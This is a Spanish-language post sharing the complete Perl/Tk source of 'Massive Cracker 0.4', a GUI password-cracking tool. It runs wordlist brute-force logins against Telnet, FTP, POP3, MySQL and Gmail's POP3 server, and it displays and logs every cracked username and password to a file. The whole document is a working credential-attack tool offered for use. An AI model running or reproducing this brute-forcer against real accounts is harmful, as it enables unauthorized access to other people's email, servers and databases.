Version Tk de este programa para crackear cuentas del tipo telnet,ftp,pop3 y gmail.
Una imagen
![](http://doddyhackman.webcindario.com/images/massive.jpg)
El codigo
#!usr/bin/perl
#Massive Cracker 0.4
#Version Tk
#Coded By Doddy H
#http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd
#ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
#http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod
use Cwd;
use Tk;
use Tk::FileSelect;
use Tk::Dialog;
use LWP::UserAgent;
use Net::FTP;
use Net::POP3;
use Net::Telnet;
use DBI;
use Mail::POP3Client;
use IO::Socket::SSL;
my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
#if ($^O eq 'MSWin32') {
#use Win32::Console;
#Win32::Console::Free();
#}
my $color_texto = "green";
my $color_fondo = "black";
my $newdax =
MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$newdax->title("Massive Cracker 0.4");
$newdax->geometry("320x270+50+50");
$newdax->resizable( 0, 0 );
$menula = $newdax->Frame(
-relief => "sunken",
-bd => 1,
-background => $color_fondo,
-foreground => $color_texto
);
my $menulnowaxaz = $menula->Menubutton(
-text => "Options",
-underline => 1,
-background => $color_fondo,
-foreground => $color_texto,
-activebackground => $color_texto
)->pack( -side => "left" );
my $aboutnowaxaz = $menula->Menubutton(
-text => "About",
-underline => 1,
-background => $color_fondo,
-foreground => $color_texto,
-activebackground => $color_texto
)->pack( -side => "left" );
my $exitnowaxaz = $menula->Menubutton(
-text => "Exit",
-underline => 1,
-background => $color_fondo,
-foreground => $color_texto,
-activebackground => $color_texto
)->pack( -side => "left" );
$menula->pack( -side => "top", -fill => "x" );
$menulnowaxaz->command(
-label => "Crack",
-background => $color_fondo,
-foreground => $color_texto,
-command => \&crack
);
$menulnowaxaz->command(
-label => "Open Logs",
-background => $color_fondo,
-foreground => $color_texto,
-command => \&openlogsaz
);
$aboutnowaxaz->command(
-label => "About",
-background => $color_fondo,
-foreground => $color_texto,
-command => \&aboutxaz
);
$exitnowaxaz->command(
-label => "Exit",
-background => $color_fondo,
-foreground => $color_texto,
-command => \&exitnowaz
);
#
$newdax->Label(
-text => "Host : ",
-font => "Impact1",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 20, -y => 40 );
my $host = $newdax->Entry(
-width => 30,
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 70, -y => 43 );
$newdax->Label(
-text => "Username : ",
-font => "Impact1",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 20, -y => 70 );
my $username = $newdax->Entry(
-width => 20,
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 110, -y => 73 );
$newdax->Label(
-text => "Wordlist : ",
-font => "Impact1",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 20, -y => 100 );
my $password = $newdax->Entry(
-width => 20,
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 95, -y => 103 );
$newdax->Button(
-text => "Browse",
-width => 10,
-command => \&bronaf,
-background => $color_fondo,
-foreground => $color_texto,
-activebackground => $color_texto
)->place( -x => 225, -y => 103 );
$newdax->Label(
-text => "Timeout : ",
-font => "Impact1",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 20, -y => 130 );
my $timeout = $newdax->Entry(
-width => 10,
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 95, -y => 133 );
$newdax->Label(
-text => "Service : ",
-font => "Impact1",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 20, -y => 170 );
$newdax->Optionmenu(
-background => $color_fondo,
-foreground => $color_texto,
-activebackground => $color_texto,
-options => [
[ FTP => FTP ],
[ TELNET => TELNET ],
[ POP3 => POP3 ],
[ MYSQL => MYSQL ],
[ GMAIL => GMAIL ]
],
-textvariable => \$service
)->place( -x => 90, -y => 170 );
$newdax->Label(
-text => "Status : ",
-font => "Impact",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 60, -y => 220 );
my $status = $newdax->Entry(
-width => 20,
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 120, -y => 225 );
#
MainLoop;
sub crack {
my $host = $host->get;
my $user = $username->get;
my $word = $password->get;
my $time = $timeout->get;
my $op = $service;
if ( -f $word ) {
$status->configure( -text => " " );
if ( $op eq "TELNET" ) {
my $cont = "0";
my @words = openwordlist($word);
for my $pass (@words) {
chomp $pass;
$newdax->update;
$status->configure( -text => $pass );
sleep($time);
$telnet = new Net::Telnet( Errmode => "return" );
$telnet->open($host);
if ( $telnet->login( $user, $pass ) ) {
$cont = "1";
yeah( $host, $user, $pass, "Telnet" );
}
$telnet->close;
}
if ( $cont eq "0" ) {
$status->configure( -text => "Not Found" );
}
}
elsif ( $op eq "FTP" ) {
my $cont = "0";
my @words = openwordlist($word);
for my $pass (@words) {
chomp $pass;
$newdax->update;
$status->configure( -text => $pass );
sleep($time);
$ftp = Net::FTP->new($host);
if ( $ftp->login( $user, $pass ) ) {
$cont = "1";
yeah( $host, $user, $pass, "FTP" );
}
$ftp->quit;
}
if ( $cont eq "0" ) {
$status->configure( -text => "Not Found" );
}
}
elsif ( $op eq "POP3" ) {
my $cont = "0";
my @words = openwordlist($word);
for my $pass (@words) {
chomp $pass;
$newdax->update;
$status->configure( -text => $pass );
sleep($time);
$pop = Net::POP3->new($host);
if ( $pop->login( $user, $pass ) ) {
$cont = "1";
yeah( $host, $user, $pass, "POP3" );
}
$pop->quit();
}
if ( $cont eq "0" ) {
$status->configure( -text => "Not Found" );
}
}
elsif ( $op eq "MYSQL" ) {
my $cont = "0";
my @words = openwordlist($word);
$target = "dbi:mysql::" . $host . ":3306";
for my $pass (@words) {
chomp $pass;
$newdax->update;
$status->configure( -text => $pass );
sleep($time);
if ( my $now =
DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
{
$cont = "1";
yeah( $host, $user, $pass, "Mysql" );
}
}
if ( $cont eq "0" ) {
$status->configure( -text => "Not Found" );
}
}
elsif ( $op eq "GMAIL" ) {
my $cont = "0";
my @words = openwordlist($word);
for my $pass (@words) {
chomp $pass;
$newdax->update;
$status->configure( -text => $pass );
sleep($time);
my $so = IO::Socket::SSL->new(
PeerAddr => "pop.gmail.com",
PeerPort => 995,
Proto => "tcp"
);
my $nave = Mail::POP3Client->new();
$nave->User($user);
$nave->Pass($pass);
$nave->Socket($so);
if ( $nave->Connect() ) {
$cont = "1";
yeah( "pop.gmail.com", $user, $pass, "Gmail" );
}
$so->close();
$nave->close();
}
if ( $cont eq "0" ) {
$status->configure( -text => "Not Found" );
}
}
else {
}
}
else {
$newdax->Dialog(
-title => "Error",
-buttons => ["OK"],
-text => "File Not Found",
-background => $color_fondo,
-foreground => $color_texto,
-activebackground => $color_texto
)->Show();
}
}
sub yeah {
my $foundtk = MainWindow->new(
-background => $color_fondo,
-foreground => $color_texto
);
$foundtk->title("Account Cracked");
$foundtk->geometry("280x130+20+20");
$foundtk->resizable( 0, 0 );
$foundtk->Label(
-text => "Host : ",
-font => "Impact",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 20, -y => 20 );
my $host_found = $foundtk->Entry(
-width => 30,
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 67, -y => 25 );
$foundtk->Label(
-text => "Username : ",
-font => "Impact",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 20, -y => 50 );
my $user_found = $foundtk->Entry(
-width => 24,
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 103, -y => 55 );
$foundtk->Label(
-text => "Password : ",
-font => "Impact",
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 20, -y => 80 );
my $pass_found = $foundtk->Entry(
-width => 24,
-background => $color_fondo,
-foreground => $color_texto
)->place( -x => 103, -y => 85 );
$host_found->configure( -text => $_[0] );
$user_found->configure( -text => $_[1] );
$pass_found->configure( -text => $_[2] );
savefile( "cracked-logs.txt",
$_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );
last;
}
sub openwordlist {
my @words;
my ($file) = @_;
open( FILE, $file );
my @words = <FILE>;
close FILE;
return @words;
}
sub bronaf {
$newdax->update;
$browse = $newdax->FileSelect( -directory => getcwd() );
my $file = $browse->Show;
$password->configure( -text => $file );
}
sub aboutxaz {
$newdax->Dialog(
-title => "About",
-buttons => ["OK"],
-text => "Coded By Doddy H",
-background => $color_fondo,
-foreground => $color_texto,
-activebackground => $color_texto
)->Show();
}
sub openlogsaz {
my $f = "cracked-logs.txt";
if ( -f $f ) {
system($f);
}
else {
$newdax->Dialog(
-title => "Error",
-buttons => ["OK"],
-text => "File Not Found",
-background => $color_fondo,
-foreground => $color_texto,
-activebackground => $color_texto
)->Show();
}
}
sub exitnowaz { exit 1; }
sub savefile {
open( SAVE, ">>" . $_[0] );
print SAVE $_[1] . "\n";
close SAVE;
}
sub toma {
return $nave->get( $_[0] )->content;
}
sub repes {
my @limpio;
foreach $test (@_) {
push @limpio, $test unless $repe{$test}++;
}
return @limpio;
}
#The End ?